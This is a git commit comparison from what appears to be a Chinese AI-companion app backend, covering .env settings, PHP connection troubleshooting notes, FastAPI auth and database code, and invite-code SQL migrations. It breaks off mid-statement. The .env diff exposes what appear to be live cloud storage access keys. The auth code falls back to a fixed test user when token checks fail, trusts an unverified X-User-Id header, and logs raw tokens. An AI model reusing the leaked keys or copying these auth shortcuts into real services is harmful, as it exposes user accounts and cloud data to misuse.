Compare commits
No commits in common. "155c9f824c68b6809c5251e6b32f17fb75b49fd6" and "e2765ecf0056ccfbbac50ecf67782a76b13eed02" have entirely different histories.
155c9f824c
...
e2765ecf00
18
.env
18
.env
|
|
@ -7,11 +7,11 @@ DEBUG=True
|
|||
BACKEND_URL=http://127.0.0.1:8000
|
||||
|
||||
# ===== 数据库配置 =====
|
||||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/fastadmin?charset=utf8mb4
|
||||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
|
||||
|
||||
# ===== 用户信息接口 (PHP后端) =====
|
||||
# PHP 后端地址,用于用户认证
|
||||
USER_INFO_API=http://127.0.0.1:30100/api/user_basic/get_user_basic
|
||||
# 开发环境暂时使用本地地址,PHP后端配置好后再修改
|
||||
USER_INFO_API=http://127.0.0.1:8080/api/user_basic/get_user_basic
|
||||
|
||||
# ===== AI 配置 =====
|
||||
# 阿里云 DashScope API 密钥
|
||||
|
|
@ -58,9 +58,9 @@ VOICE_CALL_REQUIRE_PTT=true
|
|||
# === 唱歌视频合成配置 ===
|
||||
SING_MERGE_MAX_CONCURRENCY=2
|
||||
|
||||
# ===== OSS 配置 =====
|
||||
ALIYUN_OSS_ACCESS_KEY_ID=LTAI5tBzjogJDx4JzRYoDyEM
|
||||
ALIYUN_OSS_ACCESS_KEY_SECRET=43euicRkkzlLjGTYzFYkTupcW7N5w3
|
||||
ALIYUN_OSS_BUCKET_NAME=hello12312312
|
||||
ALIYUN_OSS_ENDPOINT=https://oss-cn-hangzhou.aliyuncs.com
|
||||
ALIYUN_OSS_CDN_DOMAIN=https://hello12312312.oss-cn-hangzhou.aliyuncs.com
|
||||
# ===== OSS 配置 (暂时留空) =====
|
||||
ALIYUN_OSS_ACCESS_KEY_ID=
|
||||
ALIYUN_OSS_ACCESS_KEY_SECRET=
|
||||
ALIYUN_OSS_BUCKET_NAME=
|
||||
ALIYUN_OSS_ENDPOINT=
|
||||
ALIYUN_OSS_CDN_DOMAIN=
|
||||
|
|
|
|||
58
.gitignore
vendored
58
.gitignore
vendored
|
|
@ -1,59 +1 @@
|
|||
归档/
|
||||
xunifriend_RaeeC/runtime/log/
|
||||
public/
|
||||
|
||||
# Python
|
||||
__pycache__/
|
||||
*.py[cod]
|
||||
*$py.class
|
||||
*.so
|
||||
.Python
|
||||
build/
|
||||
develop-eggs/
|
||||
dist/
|
||||
downloads/
|
||||
eggs/
|
||||
.eggs/
|
||||
lib/
|
||||
lib64/
|
||||
parts/
|
||||
sdist/
|
||||
var/
|
||||
wheels/
|
||||
*.egg-info/
|
||||
.installed.cfg
|
||||
*.egg
|
||||
|
||||
# Node.js
|
||||
node_modules/
|
||||
npm-debug.log*
|
||||
yarn-debug.log*
|
||||
yarn-error.log*
|
||||
package-lock.json
|
||||
|
||||
# IDE
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# OS
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
|
||||
# Runtime
|
||||
xunifriend_RaeeC/runtime/
|
||||
xunifriend_RaeeC/public/uploads/
|
||||
|
||||
# Temporary files
|
||||
*.tmp
|
||||
*.bak
|
||||
*.zip
|
||||
*.tar
|
||||
*.tar.gz
|
||||
*.tar.xz
|
||||
|
||||
# Environment
|
||||
.env.local
|
||||
.env.*.local
|
||||
199
PHP服务连接问题解决方案.md
199
PHP服务连接问题解决方案.md
|
|
@ -1,199 +0,0 @@
|
|||
# PHP 服务连接问题解决方案
|
||||
|
||||
## 问题描述
|
||||
Python 后端无法连接到 PHP 服务,报错:
|
||||
```
|
||||
HTTPConnectionPool(host='192.168.1.164', port=30100): Read timed out
|
||||
```
|
||||
|
||||
## 已完成的修复
|
||||
|
||||
### 1. 配置修正
|
||||
- ✅ 修改 `lover/deps.py`:移除硬编码 IP,从配置读取
|
||||
- ✅ 修改 `lover/config.py`:默认地址改为 `127.0.0.1:30100`
|
||||
- ✅ 修改 `.env`:端口从 `8080` 改为 `30100`
|
||||
- ✅ 减少超时时间:从 5 秒改为 3 秒
|
||||
- ✅ 改进错误处理:区分超时和连接错误
|
||||
|
||||
### 2. 启动脚本优化
|
||||
- ✅ 使用 `router.php` 而不是 `-t .`
|
||||
- ✅ 添加端口清理逻辑,自动终止占用端口的旧进程
|
||||
- ✅ 添加等待时间,确保服务完全启动
|
||||
|
||||
### 3. 测试工具
|
||||
创建了 `xunifriend_RaeeC/public/test_api.php` 用于测试:
|
||||
- `/test_api.php` - 测试 PHP 服务器基本响应
|
||||
- `/test_db` - 测试数据库连接
|
||||
|
||||
## 当前问题分析
|
||||
|
||||
### PHP 服务器状态
|
||||
```
|
||||
端口 30100 已被监听(进程 31592, 16636)
|
||||
但是请求超时,无法获得响应
|
||||
```
|
||||
|
||||
### 可能的原因
|
||||
|
||||
1. **数据库连接问题**
|
||||
- PHP 应用可能在启动时尝试连接数据库
|
||||
- 如果数据库连接失败或慢,会导致请求超时
|
||||
- 检查 `xunifriend_RaeeC/application/database.php` 配置
|
||||
|
||||
2. **PHP 内置服务器限制**
|
||||
- PHP 内置服务器是单线程的
|
||||
- 如果有请求阻塞,后续请求会超时
|
||||
- 建议使用 Apache 或 Nginx + PHP-FPM
|
||||
|
||||
3. **应用初始化问题**
|
||||
- ThinkPHP 框架初始化可能有问题
|
||||
- 检查 `xunifriend_RaeeC/application/admin/command/Install/install.lock` 是否存在
|
||||
|
||||
4. **路由配置问题**
|
||||
- API 路由可能未正确配置
|
||||
- 检查 `xunifriend_RaeeC/application/route.php`
|
||||
|
||||
## 解决步骤
|
||||
|
||||
### 步骤 1: 测试 PHP 服务器基本功能
|
||||
```cmd
|
||||
# 在浏览器或命令行测试
|
||||
curl http://127.0.0.1:30100/test_api.php
|
||||
```
|
||||
|
||||
预期响应:
|
||||
```json
|
||||
{
|
||||
"code": 1,
|
||||
"msg": "PHP 服务器运行正常",
|
||||
"time": 1738665600,
|
||||
"data": {
|
||||
"php_version": "8.0.0",
|
||||
"server_time": "2026-02-04 19:00:00"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 步骤 2: 测试数据库连接
|
||||
```cmd
|
||||
curl http://127.0.0.1:30100/test_db
|
||||
```
|
||||
|
||||
如果数据库连接失败,检查:
|
||||
- MySQL 是否运行
|
||||
- `xunifriend_RaeeC/application/database.php` 配置是否正确
|
||||
- 数据库用户名密码是否正确
|
||||
|
||||
### 步骤 3: 测试实际 API
|
||||
```cmd
|
||||
# 使用有效的 token 测试
|
||||
curl -H "token: YOUR_TOKEN_HERE" http://127.0.0.1:30100/api/user_basic/get_user_basic
|
||||
```
|
||||
|
||||
### 步骤 4: 检查 PHP 错误日志
|
||||
PHP 内置服务器的错误会显示在启动窗口中,查看是否有:
|
||||
- 数据库连接错误
|
||||
- 文件权限错误
|
||||
- PHP 语法错误
|
||||
- 缺少扩展
|
||||
|
||||
## 临时解决方案
|
||||
|
||||
### 方案 1: 使用开发环境兜底(已实现)
|
||||
Python 后端在开发环境下,如果 PHP 连接失败,会自动使用测试用户:
|
||||
```python
|
||||
# 在 lover/deps.py 中
|
||||
if settings.APP_ENV == "development" and settings.DEBUG:
|
||||
logger.warning(f"开发环境:token 验证失败({e.detail}),使用测试用户")
|
||||
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
```
|
||||
|
||||
### 方案 2: 直接使用数据库认证
|
||||
修改 Python 后端,不依赖 PHP API,直接查询数据库:
|
||||
```python
|
||||
# 在 lover/deps.py 中添加
|
||||
def _fetch_user_from_db(token: str) -> Optional[dict]:
|
||||
"""直接从数据库获取用户信息"""
|
||||
from lover.db import get_db
|
||||
db = next(get_db())
|
||||
user = db.execute(
|
||||
"SELECT * FROM fa_user WHERE token = :token",
|
||||
{"token": token}
|
||||
).fetchone()
|
||||
return dict(user) if user else None
|
||||
```
|
||||
|
||||
### 方案 3: 重启 PHP 服务
|
||||
```cmd
|
||||
# 使用更新后的启动脚本,会自动清理旧进程
|
||||
启动项目.bat
|
||||
```
|
||||
|
||||
## 长期解决方案
|
||||
|
||||
### 推荐:使用 Nginx + PHP-FPM
|
||||
PHP 内置服务器不适合生产环境,建议:
|
||||
|
||||
1. 安装 Nginx
|
||||
2. 配置 PHP-FPM
|
||||
3. 配置 Nginx 反向代理
|
||||
|
||||
配置示例:
|
||||
```nginx
|
||||
server {
|
||||
listen 30100;
|
||||
server_name localhost;
|
||||
root C:/Users/Administrator/Desktop/Project/AI_GirlFriend/xunifriend_RaeeC/public;
|
||||
index index.php index.html;
|
||||
|
||||
location / {
|
||||
try_files $uri $uri/ /index.php?$query_string;
|
||||
}
|
||||
|
||||
location ~ \.php$ {
|
||||
fastcgi_pass 127.0.0.1:9000;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## 调试命令
|
||||
|
||||
### 查看端口占用
|
||||
```cmd
|
||||
netstat -ano | findstr :30100
|
||||
```
|
||||
|
||||
### 终止进程
|
||||
```cmd
|
||||
taskkill /F /PID <进程ID>
|
||||
```
|
||||
|
||||
### 测试 PHP 配置
|
||||
```cmd
|
||||
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -v
|
||||
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -m # 查看已安装的扩展
|
||||
```
|
||||
|
||||
### 手动启动 PHP 服务器(用于调试)
|
||||
```cmd
|
||||
cd xunifriend_RaeeC\public
|
||||
D:\2_part\php-8.0.0-Win32-vs16-x64\php.exe -S 0.0.0.0:30100 router.php
|
||||
```
|
||||
|
||||
## 下一步行动
|
||||
|
||||
1. **立即测试**:运行 `curl http://127.0.0.1:30100/test_api.php`
|
||||
2. **检查数据库**:确认 MySQL 正在运行
|
||||
3. **查看日志**:检查 PHP 启动窗口的错误信息
|
||||
4. **重启服务**:使用更新后的 `启动项目.bat`
|
||||
|
||||
## 文件修改记录
|
||||
|
||||
- `lover/deps.py` - 改进错误处理和超时设置
|
||||
- `lover/config.py` - 修正默认地址
|
||||
- `.env` - 修正端口配置
|
||||
- `启动项目.bat` - 添加端口清理和 router.php
|
||||
- `xunifriend_RaeeC/public/test_api.php` - 新增测试脚本
|
||||
|
|
@ -1,2 +1,2 @@
|
|||
DATABASE_URL=mysql+pymysql://root:root@127.0.0.1:3306/lover?charset=utf8mb4
|
||||
USER_INFO_API=http://192.168.1.164:30100/api/user_basic/get_user_basic
|
||||
USER_INFO_API=http://127.0.0.1:8080/api/user_basic/get_user_basic
|
||||
BIN
lover/__pycache__/__init__.cpython-314.pyc
Normal file
BIN
lover/__pycache__/__init__.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/config.cpython-314.pyc
Normal file
BIN
lover/__pycache__/config.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/cosyvoice_clone.cpython-314.pyc
Normal file
BIN
lover/__pycache__/cosyvoice_clone.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/db.cpython-314.pyc
Normal file
BIN
lover/__pycache__/db.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/deps.cpython-314.pyc
Normal file
BIN
lover/__pycache__/deps.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/llm.cpython-314.pyc
Normal file
BIN
lover/__pycache__/llm.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/main.cpython-314.pyc
Normal file
BIN
lover/__pycache__/main.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/models.cpython-314.pyc
Normal file
BIN
lover/__pycache__/models.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/response.cpython-314.pyc
Normal file
BIN
lover/__pycache__/response.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/task_queue.cpython-314.pyc
Normal file
BIN
lover/__pycache__/task_queue.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/tts.cpython-314.pyc
Normal file
BIN
lover/__pycache__/tts.cpython-314.pyc
Normal file
Binary file not shown.
BIN
lover/__pycache__/vision.cpython-314.pyc
Normal file
BIN
lover/__pycache__/vision.cpython-314.pyc
Normal file
Binary file not shown.
|
|
@ -150,7 +150,7 @@ class Settings(BaseSettings):
|
|||
|
||||
# 用户信息拉取接口(FastAdmin 提供)
|
||||
USER_INFO_API: str = Field(
|
||||
default="http://127.0.0.1:30100/api/user_basic/get_user_basic",
|
||||
default="https://xunifriend.shandonghuixing.com/api/user_basic/get_user_basic",
|
||||
env="USER_INFO_API",
|
||||
)
|
||||
|
||||
|
|
|
|||
10
lover/db.py
10
lover/db.py
|
|
@ -31,18 +31,12 @@ def get_db():
|
|||
yield db
|
||||
db.commit()
|
||||
except OperationalError as exc:
|
||||
import logging
|
||||
logger = logging.getLogger("db")
|
||||
logger.error(f"Database OperationalError: {exc}", exc_info=True)
|
||||
db.rollback()
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_503_SERVICE_UNAVAILABLE,
|
||||
detail=f"Database unavailable: {str(exc)}",
|
||||
detail="Database unavailable, please check DATABASE_URL / MySQL service.",
|
||||
) from exc
|
||||
except Exception as exc:
|
||||
import logging
|
||||
logger = logging.getLogger("db")
|
||||
logger.error(f"Database Exception: {exc}", exc_info=True)
|
||||
except Exception:
|
||||
db.rollback()
|
||||
raise
|
||||
finally:
|
||||
|
|
|
|||
|
|
@ -17,62 +17,30 @@ class AuthedUser(BaseModel):
|
|||
|
||||
def _fetch_user_from_php(token: str) -> Optional[dict]:
|
||||
"""通过 PHP/FastAdmin 接口获取用户信息。"""
|
||||
import logging
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# 从配置读取 PHP 服务地址,如果配置不可用则使用本地地址
|
||||
try:
|
||||
from lover.config import settings
|
||||
user_info_api = settings.USER_INFO_API
|
||||
except:
|
||||
# 默认使用本地地址
|
||||
user_info_api = "http://127.0.0.1:30100/api/user_basic/get_user_basic"
|
||||
|
||||
logger.info(f"用户中心调试 - 调用接口: {user_info_api}")
|
||||
logger.info(f"用户中心调试 - token: {token}")
|
||||
|
||||
try:
|
||||
resp = requests.get(
|
||||
user_info_api,
|
||||
settings.USER_INFO_API,
|
||||
headers={"token": token},
|
||||
timeout=3, # 减少超时时间到3秒
|
||||
timeout=5,
|
||||
)
|
||||
logger.info(f"用户中心调试 - 响应状态码: {resp.status_code}")
|
||||
logger.info(f"用户中心调试 - 响应内容: {resp.text[:200]}...")
|
||||
except requests.exceptions.Timeout:
|
||||
logger.error(f"用户中心调试 - 请求超时(3秒)")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_502_BAD_GATEWAY,
|
||||
detail="用户中心接口超时",
|
||||
)
|
||||
except requests.exceptions.ConnectionError as exc:
|
||||
logger.error(f"用户中心调试 - 连接失败: {exc}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_502_BAD_GATEWAY,
|
||||
detail="无法连接到用户中心",
|
||||
)
|
||||
except Exception as exc: # 其他异常
|
||||
logger.error(f"用户中心调试 - 请求异常: {exc}")
|
||||
except Exception as exc: # 网络/超时
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_502_BAD_GATEWAY,
|
||||
detail="用户中心接口不可用",
|
||||
) from exc
|
||||
|
||||
if resp.status_code != 200:
|
||||
logger.error(f"用户中心调试 - 状态码非200: {resp.status_code}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="用户中心返回非 200",
|
||||
)
|
||||
data = resp.json()
|
||||
logger.info(f"用户中心调试 - 解析JSON成功: {data}")
|
||||
# 兼容常见 FastAdmin 响应结构
|
||||
if isinstance(data, dict):
|
||||
payload = data.get("data") or data.get("user") or data
|
||||
else:
|
||||
payload = None
|
||||
if not payload:
|
||||
logger.error(f"用户中心调试 - 未找到用户数据: {data}")
|
||||
raise HTTPException(
|
||||
status_code=status.HTTP_401_UNAUTHORIZED,
|
||||
detail="用户中心未返回用户信息",
|
||||
|
|
@ -142,7 +110,7 @@ def get_current_user(
|
|||
# 如果是开发环境,token 验证失败时也返回测试用户
|
||||
if settings.APP_ENV == "development" and settings.DEBUG:
|
||||
logger.warning(f"开发环境:token 验证失败({e.detail}),使用测试用户")
|
||||
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
raise
|
||||
|
||||
# 调试兜底:仅凭 X-User-Id 不校验 PHP,方便联调
|
||||
|
|
@ -151,6 +119,6 @@ def get_current_user(
|
|||
|
||||
# 开发环境兜底:如果没有任何认证信息,返回默认测试用户
|
||||
if settings.APP_ENV == "development" and settings.DEBUG:
|
||||
return AuthedUser(id=70, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
return AuthedUser(id=84, reg_step=2, gender=0, nickname="test-user", token="")
|
||||
|
||||
raise HTTPException(status_code=status.HTTP_401_UNAUTHORIZED, detail="用户不存在或未授权")
|
||||
|
|
|
|||
|
|
@ -5,48 +5,24 @@ from fastapi.staticfiles import StaticFiles
|
|||
import logging
|
||||
import dashscope
|
||||
from pathlib import Path
|
||||
from contextlib import asynccontextmanager
|
||||
|
||||
from lover.routers import config as config_router
|
||||
from lover.routers import lover as lover_router
|
||||
from lover.routers import user_basic as user_basic_router
|
||||
from lover.response import ApiResponse
|
||||
from lover.routers import outfit as outfit_router
|
||||
from lover.routers import chat as chat_router
|
||||
from lover.routers import voice_call as voice_call_router
|
||||
from lover.routers import dance as dance_router
|
||||
from lover.routers import dynamic as dynamic_router
|
||||
from lover.routers import sing as sing_router
|
||||
from lover.routers import friend as friend_router
|
||||
from lover.routers import msg as msg_router
|
||||
from lover.routers import huanxin as huanxin_router
|
||||
from lover.routers import user as user_router
|
||||
from lover.routers import music_library as music_library_router
|
||||
from lover.task_queue import start_sing_workers
|
||||
from lover.config import settings
|
||||
from .routers import config as config_router
|
||||
from .routers import lover as lover_router
|
||||
from .response import ApiResponse
|
||||
from .routers import outfit as outfit_router
|
||||
from .routers import chat as chat_router
|
||||
from .routers import voice_call as voice_call_router
|
||||
from .routers import dance as dance_router
|
||||
from .routers import dynamic as dynamic_router
|
||||
from .routers import sing as sing_router
|
||||
from .task_queue import start_sing_workers
|
||||
from .config import settings
|
||||
|
||||
# 初始化 DashScope API Key
|
||||
if settings.DASHSCOPE_API_KEY:
|
||||
dashscope.api_key = settings.DASHSCOPE_API_KEY
|
||||
|
||||
# 配置日志
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
|
||||
)
|
||||
|
||||
@asynccontextmanager
|
||||
async def lifespan(app: FastAPI):
|
||||
# 启动时执行
|
||||
logger = logging.getLogger("main")
|
||||
logger.info("应用启动中...")
|
||||
start_sing_workers()
|
||||
logger.info("应用启动完成")
|
||||
yield
|
||||
# 关闭时执行
|
||||
logger.info("应用关闭")
|
||||
|
||||
app = FastAPI(title="LOVER API", lifespan=lifespan)
|
||||
app = FastAPI(title="LOVER API")
|
||||
|
||||
# 创建 TTS 文件目录
|
||||
tts_dir = Path("public/tts")
|
||||
|
|
@ -72,18 +48,17 @@ app.add_middleware(
|
|||
|
||||
app.include_router(config_router.router)
|
||||
app.include_router(lover_router.router)
|
||||
app.include_router(user_basic_router.router)
|
||||
app.include_router(outfit_router.router)
|
||||
app.include_router(chat_router.router)
|
||||
app.include_router(voice_call_router.router)
|
||||
app.include_router(dance_router.router)
|
||||
app.include_router(dynamic_router.router)
|
||||
app.include_router(sing_router.router)
|
||||
app.include_router(friend_router.router)
|
||||
app.include_router(msg_router.router)
|
||||
app.include_router(huanxin_router.router)
|
||||
app.include_router(user_router.router)
|
||||
app.include_router(music_library_router.router)
|
||||
|
||||
|
||||
@app.on_event("startup")
|
||||
async def startup_tasks():
|
||||
start_sing_workers()
|
||||
|
||||
|
||||
@app.exception_handler(HTTPException)
|
||||
|
|
|
|||
18
lover/migrations/add_invite_code_fields.sql
Normal file
18
lover/migrations/add_invite_code_fields.sql
Normal file
|
|
@ -0,0 +1,18 @@
|
|||
-- 添加邀请码相关字段
|
||||
ALTER TABLE nf_user
|
||||
ADD COLUMN invite_code VARCHAR(10) UNIQUE COMMENT '我的邀请码',
|
||||
ADD COLUMN invited_by VARCHAR(10) COMMENT '被谁邀请(邀请码)',
|
||||
ADD COLUMN invite_count INT DEFAULT 0 COMMENT '邀请人数',
|
||||
ADD COLUMN invite_reward_total DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
|
||||
|
||||
-- 为已有用户生成邀请码(6位随机字符)
|
||||
UPDATE nf_user
|
||||
SET invite_code = CONCAT(
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1),
|
||||
SUBSTRING('ABCDEFGHJKLMNPQRSTUVWXYZ23456789', FLOOR(1 + RAND() * 32), 1)
|
||||
)
|
||||
WHERE invite_code IS NULL;
|
||||
|
|
@ -1,33 +0,0 @@
|
|||
-- 添加邀请码相关字段到 nf_user 表
|
||||
-- 执行时间:2026-02-03
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- 添加邀请码字段
|
||||
ALTER TABLE `nf_user`
|
||||
ADD COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码' AFTER `vip_endtime`,
|
||||
ADD COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)' AFTER `invite_code`,
|
||||
ADD COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数' AFTER `invited_by`,
|
||||
ADD COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额' AFTER `invite_count`;
|
||||
|
||||
-- 添加唯一索引
|
||||
ALTER TABLE `nf_user`
|
||||
ADD UNIQUE INDEX `idx_invite_code` (`invite_code`);
|
||||
|
||||
-- 添加普通索引
|
||||
ALTER TABLE `nf_user`
|
||||
ADD INDEX `idx_invited_by` (`invited_by`);
|
||||
|
||||
-- 验证字段是否添加成功
|
||||
SELECT
|
||||
COLUMN_NAME,
|
||||
COLUMN_TYPE,
|
||||
IS_NULLABLE,
|
||||
COLUMN_DEFAULT,
|
||||
COLUMN_COMMENT
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total');
|
||||
8
lover/migrations/add_message_edit_fields.sql
Normal file
8
lover/migrations/add_message_edit_fields.sql
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
-- 添加消息编辑相关字段
|
||||
ALTER TABLE nf_chat_message
|
||||
ADD COLUMN is_edited TINYINT(1) DEFAULT 0 COMMENT '是否被编辑过',
|
||||
ADD COLUMN original_content TEXT COMMENT '原始内容',
|
||||
ADD COLUMN edited_at DATETIME COMMENT '编辑时间';
|
||||
|
||||
-- 添加索引
|
||||
CREATE INDEX idx_message_edited ON nf_chat_message(is_edited, session_id);
|
||||
|
|
@ -1,20 +0,0 @@
|
|||
-- 检查 nf_user 表中邀请码相关字段的情况
|
||||
USE fastadmin;
|
||||
|
||||
-- 查看表结构
|
||||
DESCRIBE nf_user;
|
||||
|
||||
-- 查看邀请码相关字段
|
||||
SELECT
|
||||
COLUMN_NAME,
|
||||
COLUMN_TYPE,
|
||||
IS_NULLABLE,
|
||||
COLUMN_DEFAULT,
|
||||
COLUMN_COMMENT
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
|
||||
ORDER BY ORDINAL_POSITION;
|
||||
|
|
@ -1,107 +0,0 @@
|
|||
-- 邀请码功能完整修复脚本
|
||||
-- 执行时间:2026-02-03
|
||||
-- 说明:这个脚本会检查并修复所有邀请码相关的问题
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- ========================================
|
||||
-- 第 1 步:修复字段类型
|
||||
-- ========================================
|
||||
|
||||
-- 修复 invited_by 字段类型(从 int 改为 varchar(10))
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invited_by` VARCHAR(10) DEFAULT NULL COMMENT '被谁邀请(邀请码)';
|
||||
|
||||
-- 修复 invite_reward_total 字段类型(从 int 改为 decimal(10,2))
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_reward_total` DECIMAL(10,2) DEFAULT 0.00 COMMENT '邀请奖励总额';
|
||||
|
||||
-- 确保 invite_code 字段正确
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_code` VARCHAR(10) DEFAULT NULL COMMENT '邀请码';
|
||||
|
||||
-- 确保 invite_count 字段正确
|
||||
ALTER TABLE `nf_user`
|
||||
MODIFY COLUMN `invite_count` INT(11) DEFAULT 0 COMMENT '邀请人数';
|
||||
|
||||
SELECT '✅ 步骤 1:字段类型修复完成' AS '进度';
|
||||
|
||||
-- ========================================
|
||||
-- 第 2 步:检查并添加索引
|
||||
-- ========================================
|
||||
|
||||
-- 检查 invite_code 唯一索引
|
||||
SET @index_exists = 0;
|
||||
SELECT COUNT(*) INTO @index_exists
|
||||
FROM INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME = 'idx_invite_code';
|
||||
|
||||
SET @sql = IF(@index_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD UNIQUE INDEX `idx_invite_code` (`invite_code`)',
|
||||
'SELECT ''idx_invite_code 索引已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
-- 检查 invited_by 索引
|
||||
SET @index_exists = 0;
|
||||
SELECT COUNT(*) INTO @index_exists
|
||||
FROM INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME = 'idx_invited_by';
|
||||
|
||||
SET @sql = IF(@index_exists = 0,
|
||||
'ALTER TABLE `nf_user` ADD INDEX `idx_invited_by` (`invited_by`)',
|
||||
'SELECT ''idx_invited_by 索引已存在'' AS message');
|
||||
PREPARE stmt FROM @sql;
|
||||
EXECUTE stmt;
|
||||
DEALLOCATE PREPARE stmt;
|
||||
|
||||
SELECT '✅ 步骤 2:索引检查完成' AS '进度';
|
||||
|
||||
-- ========================================
|
||||
-- 第 3 步:验证修复结果
|
||||
-- ========================================
|
||||
|
||||
SELECT '========================================' AS '';
|
||||
SELECT '邀请码字段信息' AS '';
|
||||
SELECT '========================================' AS '';
|
||||
|
||||
SELECT
|
||||
COLUMN_NAME AS '字段名',
|
||||
COLUMN_TYPE AS '类型',
|
||||
IS_NULLABLE AS '可空',
|
||||
COLUMN_DEFAULT AS '默认值',
|
||||
COLUMN_COMMENT AS '注释'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.COLUMNS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND COLUMN_NAME IN ('invite_code', 'invited_by', 'invite_count', 'invite_reward_total')
|
||||
ORDER BY ORDINAL_POSITION;
|
||||
|
||||
SELECT '========================================' AS '';
|
||||
SELECT '索引信息' AS '';
|
||||
SELECT '========================================' AS '';
|
||||
|
||||
SELECT
|
||||
INDEX_NAME AS '索引名',
|
||||
COLUMN_NAME AS '列名',
|
||||
NON_UNIQUE AS '非唯一',
|
||||
INDEX_TYPE AS '索引类型'
|
||||
FROM
|
||||
INFORMATION_SCHEMA.STATISTICS
|
||||
WHERE
|
||||
TABLE_SCHEMA = 'fastadmin'
|
||||
AND TABLE_NAME = 'nf_user'
|
||||
AND INDEX_NAME IN ('idx_invite_code', 'idx_invited_by')
|
||||
ORDER BY INDEX_NAME, SEQ_IN_INDEX;
|
||||
|
||||
SELECT '========================================' AS '';
|
||||
SELECT '✅ 邀请码功能修复完成!' AS '状态';
|
||||
SELECT '请重启 Python 服务以使更改生效' AS '提示';
|
||||
SELECT '========================================' AS '';
|
||||
|
|
@ -1,56 +0,0 @@
|
|||
-- 修复邀请码字段类型错误
|
||||
-- 执行时间:2026-02-03
|
||||
-- 问题:invited_by 和 invite_reward_total 字段类型不正确
|
||||
|
||||
USE fastadmin;
|
||||
|
||||
-- 备份当前数据(可选,但建议)
|
||||
-- CREATE TABLE nf_user_backup_20260203 AS SELECT * FROM nf_user;
|
||||
|
||||
-- 修复 invited_by 字段类型(从 int 改为 varchar(10))
|
||||
ALTER TABLE `nf_user`
|
||||
